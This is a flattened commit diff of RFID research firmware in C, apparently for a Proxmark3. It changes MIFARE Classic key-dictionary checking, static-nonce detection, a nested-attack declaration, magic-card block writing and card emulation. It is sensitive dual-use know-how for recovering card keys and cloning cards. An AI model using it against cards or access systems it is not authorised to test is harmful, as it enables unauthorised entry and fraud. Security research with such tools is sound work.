res = mifare_classic_authex(c->pcs, c->cuid, c->block, c->keyType, c->key, AUTH_FIRST, NULL, NULL); res = mifare_classic_authex(c->pcs, c->cuid, c->block, c->keyType, c->key, AUTH_FIRST, NULL, NULL);
CHK_TIMEOUT(); // CHK_TIMEOUT();
// if successful auth, send HALT // if successful auth, send HALT
// if ( !res ) // if ( !res )
@ -1234,8 +1343,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found
} }
} }
// get Chunks of keys, to test authentication against card. // get Chunks of keys, to test authentication against card.
// arg0 = antal sectorer // arg0 = antal sectorer
// arg0 = first time // arg0 = first time
@ -1267,6 +1374,8 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da
static uint8_t found[80]; static uint8_t found[80];
static uint8_t *uid; static uint8_t *uid;
int oldbg = DBGLEVEL;
#ifdef WITH_FLASH #ifdef WITH_FLASH
if (use_flashmem) { if (use_flashmem) {
BigBuf_free(); BigBuf_free();
@ -1334,6 +1443,9 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da
CHK_TIMEOUT(); CHK_TIMEOUT();
} }
// clear debug level. We are expecting lots of authentication failures...
DBGLEVEL = DBG_NONE;
// set check struct. // set check struct.
chk_data.uid = uid; chk_data.uid = uid;
chk_data.cuid = cuid; chk_data.cuid = cuid;
@ -1358,7 +1470,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da
for (uint16_t i = s_point; i < keyCount; ++i) { for (uint16_t i = s_point; i < keyCount; ++i) {
// Allow button press / usb cmd to interrupt device // Allow button press / usb cmd to interrupt device
if (BUTTON_PRESS() && !data_available()) { if (BUTTON_PRESS() && data_available()) {
goto OUT; goto OUT;
} }
@ -1450,7 +1562,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da
for (uint16_t i = 0; i < keyCount; i++) { for (uint16_t i = 0; i < keyCount; i++) {
// Allow button press / usb cmd to interrupt device // Allow button press / usb cmd to interrupt device
if (BUTTON_PRESS() && !data_available()) break; if (BUTTON_PRESS() && data_available()) break;
// found all keys? // found all keys?
if (foundkeys == allkeys) if (foundkeys == allkeys)
@ -1559,16 +1671,16 @@ OUT:
emlSetMem_xt(block, blockno, 1, sizeof(block)); emlSetMem_xt(block, blockno, 1, sizeof(block));
} }
int oldbg = DBGLEVEL;
DBGLEVEL = DBG_NONE;
MifareECardLoad(sectorcnt, 0); MifareECardLoad(sectorcnt, 0);
MifareECardLoad(sectorcnt, 1); MifareECardLoad(sectorcnt, 1);
DBGLEVEL = oldbg;
} }
} else { } else {
// partial/none keys found // partial/none keys found
reply_mix(CMD_ACK, foundkeys, 0, 0, 0, 0); reply_mix(CMD_ACK, foundkeys, 0, 0, 0, 0);
} }
DBGLEVEL = oldbg;
} }
void MifareChkKeys(uint8_t *datain) { void MifareChkKeys(uint8_t *datain) {
@ -1590,14 +1702,15 @@ void MifareChkKeys(uint8_t *datain) {
bool found; bool found;
} PACKED keyresult; } PACKED keyresult;
keyresult.found = false; keyresult.found = false;
uint8_t blockNo, keyType, keyCount; uint8_t blockNo, keyType;
uint16_t keyCount;
bool clearTrace, have_uid = false; bool clearTrace, have_uid = false;
keyType = datain[0]; keyType = datain[0];
blockNo = datain[1]; blockNo = datain[1];
clearTrace = datain[2]; clearTrace = datain[2];
keyCount = datain[3]; keyCount = (datain[3] << 8) | datain[4];
datain += 4; datain += 5;
LEDsoff(); LEDsoff();
LED_A_ON(); LED_A_ON();
@ -1607,7 +1720,10 @@ void MifareChkKeys(uint8_t *datain) {
if (clearTrace) if (clearTrace)
clear_trace(); clear_trace();
set_tracing(true); int oldbg = DBGLEVEL;
DBGLEVEL = DBG_NONE;
set_tracing(false);
for (i = 0; i < keyCount; i++) { for (i = 0; i < keyCount; i++) {
@ -1644,10 +1760,11 @@ void MifareChkKeys(uint8_t *datain) {
key = bytes_to_num(datain + i * 6, 6); key = bytes_to_num(datain + i * 6, 6);
res = mifare_classic_auth(pcs, cuid, blockNo, keyType, key, AUTH_FIRST); res = mifare_classic_auth(pcs, cuid, blockNo, keyType, key, AUTH_FIRST);
CHK_TIMEOUT(); // CHK_TIMEOUT();
if (res) if (res)
continue; continue;
memcpy(keyresult.key, datain + i * 6, 6); memcpy(keyresult.key, datain + i * 6, 6);
keyresult.found = true; keyresult.found = true;
break; break;
@ -1661,6 +1778,31 @@ void MifareChkKeys(uint8_t *datain) {
set_tracing(false); set_tracing(false);
crypto1_deinit(pcs); crypto1_deinit(pcs);
DBGLEVEL = oldbg;
}
void MifareChkKeys_file(uint8_t *fn) {
#ifdef WITH_FLASH
SpinOff(0);
int changed = rdv40_spiffs_lazy_mount();
uint32_t size = size_in_spiffs((char *)fn);
uint8_t *mem = BigBuf_malloc(size);
rdv40_spiffs_read_as_filetype((char *)fn, mem, size, RDV40_SPIFFS_SAFETY_SAFE);
if (changed) {
rdv40_spiffs_lazy_unmount();
}
SpinOff(0);
MifareChkKeys(mem);
BigBuf_free();
#endif
} }
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
@ -1709,13 +1851,13 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) {
// Load a card into the emulator memory // Load a card into the emulator memory
// //
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType) { int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype) {
int retval = MifareECardLoad(numSectors, keyType); int retval = MifareECardLoad(sectorcnt, keytype);
reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0); reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0);
return retval; return retval;
} }
int MifareECardLoad(uint8_t numSectors, uint8_t keyType) { int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) {
uint32_t cuid = 0; uint32_t cuid = 0;
struct Crypto1State mpcs = {0, 0}; struct Crypto1State mpcs = {0, 0};
@ -1741,15 +1883,15 @@ int MifareECardLoad(uint8_t numSectors, uint8_t keyType) {
goto out; goto out;
} }
for (uint8_t sectorNo = 0; sectorNo < numSectors; sectorNo++) { for (uint8_t sectorNo = 0; sectorNo < sectorcnt; sectorNo++) {
uint64_t ui64Key = emlGetKey(sectorNo, keyType); uint64_t ui64Key = emlGetKey(sectorNo, keytype);
if (sectorNo == 0) { if (sectorNo == 0) {
if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_FIRST)) {
if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth error", sectorNo); if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth error", sectorNo);
break; break;
} }
} else { } else {
if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) { if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_NESTED)) {
retval = PM3_ESOFT; retval = PM3_ESOFT;
if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth nested error", sectorNo); if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth nested error", sectorNo);
goto out; goto out;
@ -1882,7 +2024,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) {
} }
} }
if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("write block send command error"); if (DBGLEVEL >= DBG_ERROR) Dbprintf("write block send command error");
errormsg = 4; errormsg = 4;
break; break;
@ -1961,7 +2103,7 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) {
} }
// read block // read block
if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("read block send command error"); if (DBGLEVEL >= DBG_ERROR) Dbprintf("read block send command error");
errormsg = 0; errormsg = 0;
break; break;
@ -2047,7 +2189,55 @@ OUT:
// turns off // turns off
OnSuccessMagic(); OnSuccessMagic();
BigBuf_free(); BigBuf_free();
BigBuf_Clear_ext(false); }
void MifareHasStaticNonce() {
// variables
int retval = PM3_SUCCESS, len;
uint32_t nt = 0 ;
uint8_t rec[1] = {0x00};
uint8_t recpar[1] = {0x00};
uint8_t *uid = BigBuf_malloc(10);
uint8_t data[1] = {0x00};
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
iso14a_card_select_t card_info;
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
for (int i = 0; i < 3; i++) {
if (!iso14443a_select_card(uid, &card_info, NULL, true, 0, true)) {
retval = PM3_ESOFT;
goto OUT;
}
// Transmit MIFARE_CLASSIC_AUTH 0x60, block 0
len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL);
if (len != 4) {
retval = PM3_ESOFT;
goto OUT;
}
// Save the tag nonce (nt)
if (nt == bytes_to_num(rec, 4)) {
data[0]++;
}
nt = bytes_to_num(rec, 4);
// CHK_TIMEOUT();
}
OUT:
reply_ng(CMD_HF_MIFARE_STATIC_NONCE, retval, data, sizeof(data));
// turns off
OnSuccessMagic();
BigBuf_free();
crypto1_deinit(pcs);
} }
void OnSuccessMagic() { void OnSuccessMagic() {
@ -2096,7 +2286,7 @@ void MifareSetMod(uint8_t *datain) {
} }
int respLen; int respLen;
if (((respLen = mifare_sendcmd_short(pcs, 1, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { if (((respLen = mifare_sendcmd_short(pcs, CRYPT_ALL, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) {
if (DBGLEVEL >= 1) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen); if (DBGLEVEL >= 1) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen);
break; break;
} }

View file

@ -25,20 +25,24 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key); void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key);
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key);
void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
void MifareAcquireNonces(uint32_t arg0, uint32_t flags); void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
void MifareChkKeys(uint8_t *datain); void MifareChkKeys(uint8_t *datain);
void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void MifareChkKeys_file(uint8_t *fn);
void MifareEMemClr(void); void MifareEMemClr(void);
void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain);
void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); void MifareEMemGet(uint8_t blockno, uint8_t blockcnt);
int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype); int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype);
int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType); int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype);
void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card
void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain);
void MifareCIdent(); // is "magic chinese" card? void MifareCIdent(); // is "magic chinese" card?
void MifareHasStaticNonce(); // Has the tag a static nonce?
void MifareSetMod(uint8_t *datain); void MifareSetMod(uint8_t *datain);
void MifareUSetPwd(uint8_t arg0, uint8_t *datain); void MifareUSetPwd(uint8_t arg0, uint8_t *datain);

View file

@ -435,7 +435,6 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
return true; return true;
} }
/** /**
*MIFARE 1K simulate. *MIFARE 1K simulate.
* *
@ -538,7 +537,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// find reader field // find reader field
if (cardSTATE == MFEMUL_NOFIELD) { if (cardSTATE == MFEMUL_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF)) >> 10;
#if defined RDV4
vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
#else
vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
#endif
if (vHf > MF_MINFIELDV) { if (vHf > MF_MINFIELDV) {
cardSTATE_TO_IDLE(); cardSTATE_TO_IDLE();
LED_A_ON(); LED_A_ON();
@ -547,16 +552,19 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
continue; continue;
} }
FpgaEnableTracing();
//Now, get data //Now, get data
int res = EmGetCmd(receivedCmd, &receivedCmd_len, receivedCmd_par); int res = EmGetCmd(receivedCmd, &receivedCmd_len, receivedCmd_par);
if (res == 2) { //Field is off! if (res == 2) { //Field is off!
FpgaDisableTracing();
LEDsoff(); LEDsoff();
cardSTATE = MFEMUL_NOFIELD; cardSTATE = MFEMUL_NOFIELD;
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("cardSTATE = MFEMUL_NOFIELD"); Dbprintf("cardSTATE = MFEMUL_NOFIELD");
continue; continue;
} else if (res == 1) { // button pressed } else if (res == 1) { // button pressed
FpgaDisableTracing();
button_pushed = true; button_pushed = true;
if (DBGLEVEL >= DBG_EXTENDED) if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("Button pressed"); Dbprintf("Button pressed");
@ -570,6 +578,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
Dbprintf("EmSendPrecompiledCmd(&responses[ATQA]);"); Dbprintf("EmSendPrecompiledCmd(&responses[ATQA]);");
EmSendPrecompiledCmd(&responses[ATQA]); EmSendPrecompiledCmd(&responses[ATQA]);
FpgaDisableTracing();
// init crypto block // init crypto block
crypto1_deinit(pcs); crypto1_deinit(pcs);
cardAUTHKEY = AUTHKEYNONE; cardAUTHKEY = AUTHKEYNONE;
@ -637,6 +647,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// Incoming SELECT ALL for any cascade level // Incoming SELECT ALL for any cascade level
if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) { if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) {
EmSendPrecompiledCmd(&responses[uid_index]); EmSendPrecompiledCmd(&responses[uid_index]);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ALL - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ALL - EmSendPrecompiledCmd(%02x)", &responses[uid_index]);
break; break;
} }
@ -648,6 +660,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
(uid_len == 7 && uid_index == UIDBCC2) || (uid_len == 7 && uid_index == UIDBCC2) ||
(uid_len == 10 && uid_index == UIDBCC3); (uid_len == 10 && uid_index == UIDBCC3);
EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]); EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT CLx %02x%02x%02x%02x received", receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5]); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT CLx %02x%02x%02x%02x received", receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5]);
if (cl_finished) { if (cl_finished) {
LED_B_ON(); LED_B_ON();
@ -670,6 +684,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) { if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) {
// response missing part of UID via relative array index // response missing part of UID via relative array index
EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]); EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]);
} else { } else {
// IDLE, not our UID or split-byte frame anti-collision (not supports) // IDLE, not our UID or split-byte frame anti-collision (not supports)
@ -710,6 +726,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if (!CheckCrc14A(receivedCmd_dec, receivedCmd_len)) { // all commands must have a valid CRC if (!CheckCrc14A(receivedCmd_dec, receivedCmd_len)) { // all commands must have a valid CRC
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd_dec, receivedCmd_len); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd_dec, receivedCmd_len);
break; break;
} }
@ -725,6 +743,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// if authenticating to a block that shouldn't exist - as long as we are not doing the reader attack // if authenticating to a block that shouldn't exist - as long as we are not doing the reader attack
if (((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK)) { if (((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK)) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]);
break; break;
} }
@ -754,6 +774,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
crypto1_word(pcs, cuid ^ nonce, 0); crypto1_word(pcs, cuid ^ nonce, 0);
// rAUTH_NT contains prepared nonce for authenticate // rAUTH_NT contains prepared nonce for authenticate
EmSendCmd(rAUTH_NT, sizeof(rAUTH_NT)); EmSendCmd(rAUTH_NT, sizeof(rAUTH_NT));
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader authenticating for block %d (0x%02x) with key %c - nonce: %02X - ciud: %02X", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B', rAUTH_NT, cuid); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader authenticating for block %d (0x%02x) with key %c - nonce: %02X - ciud: %02X", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B', rAUTH_NT, cuid);
} else { } else {
// nested authentication // nested authentication
@ -765,6 +787,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// we need calculate parity bits for non-encrypted sequence // we need calculate parity bits for non-encrypted sequence
mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par); mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par);
EmSendCmdPar(response, 4, response_par); EmSendCmdPar(response, 4, response_par);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader doing nested authentication for block %d (0x%02x) with key %c", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B'); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader doing nested authentication for block %d (0x%02x) with key %c", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B');
} }
@ -777,12 +801,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// BUT... ACK --> NACK // BUT... ACK --> NACK
if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_ACK) { if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_ACK) {
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA);
FpgaDisableTracing();
break; break;
} }
// rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK) // rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK)
if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_NACK_NA) { if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_NACK_NA) {
EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_ACK) : CARD_ACK); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_ACK) : CARD_ACK);
FpgaDisableTracing();
break; break;
} }
@ -796,6 +822,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// all other commands must be encrypted (authenticated) // all other commands must be encrypted (authenticated)
if (!encrypted_data) { if (!encrypted_data) {
EmSend4bit(CARD_NACK_NA); EmSend4bit(CARD_NACK_NA);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Commands must be encrypted (authenticated)"); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Commands must be encrypted (authenticated)");
break; break;
} }
@ -805,6 +833,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
/* /*
if (receivedCmd_dec[1] > MIFARE_4K_MAXBLOCK) { if (receivedCmd_dec[1] > MIFARE_4K_MAXBLOCK) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]);
break; break;
} }
@ -812,6 +841,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if (MifareBlockToSector(receivedCmd_dec[1]) != cardAUTHSC) { if (MifareBlockToSector(receivedCmd_dec[1]) != cardAUTHSC) {
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on block (0x%02x) not authenticated for (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], cardAUTHSC); if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on block (0x%02x) not authenticated for (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], cardAUTHSC);
break; break;
} }
@ -867,6 +898,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
AddCrc14A(response, 16); AddCrc14A(response, 16);
mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par); mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par);
EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par); EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par);
FpgaDisableTracing();
if (DBGLEVEL >= DBG_EXTENDED) { if (DBGLEVEL >= DBG_EXTENDED) {
Dbprintf("[MFEMUL_WORK - EmSendCmdPar] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo, Dbprintf("[MFEMUL_WORK - EmSendCmdPar] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo,
response[0], response[1], response[2], response[3], response[4], response[5], response[6], response[0], response[1], response[2], response[3], response[4], response[5], response[6],
@ -888,6 +921,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
blockNo = receivedCmd_dec[1]; blockNo = receivedCmd_dec[1];
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RECV 0xA0 write block %d (%02x)", blockNo, blockNo); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RECV 0xA0 write block %d (%02x)", blockNo, blockNo);
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK));
FpgaDisableTracing();
cardWRBL = blockNo; cardWRBL = blockNo;
cardSTATE = MFEMUL_WRITEBL2; cardSTATE = MFEMUL_WRITEBL2;
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_WRITEBL2"); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_WRITEBL2");
@ -901,9 +936,11 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
if (emlCheckValBl(blockNo)) { if (emlCheckValBl(blockNo)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate on block, but emlCheckValBl failed, nacking"); if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate on block, but emlCheckValBl failed, nacking");
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
FpgaDisableTracing();
break; break;
} }
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK));
FpgaDisableTracing();
cardWRBL = blockNo; cardWRBL = blockNo;
// INC // INC
@ -936,6 +973,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA));
else else
EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK));
FpgaDisableTracing();
break; break;
} }
@ -958,12 +997,15 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
memcpy(response, rats, rats_len); memcpy(response, rats, rats_len);
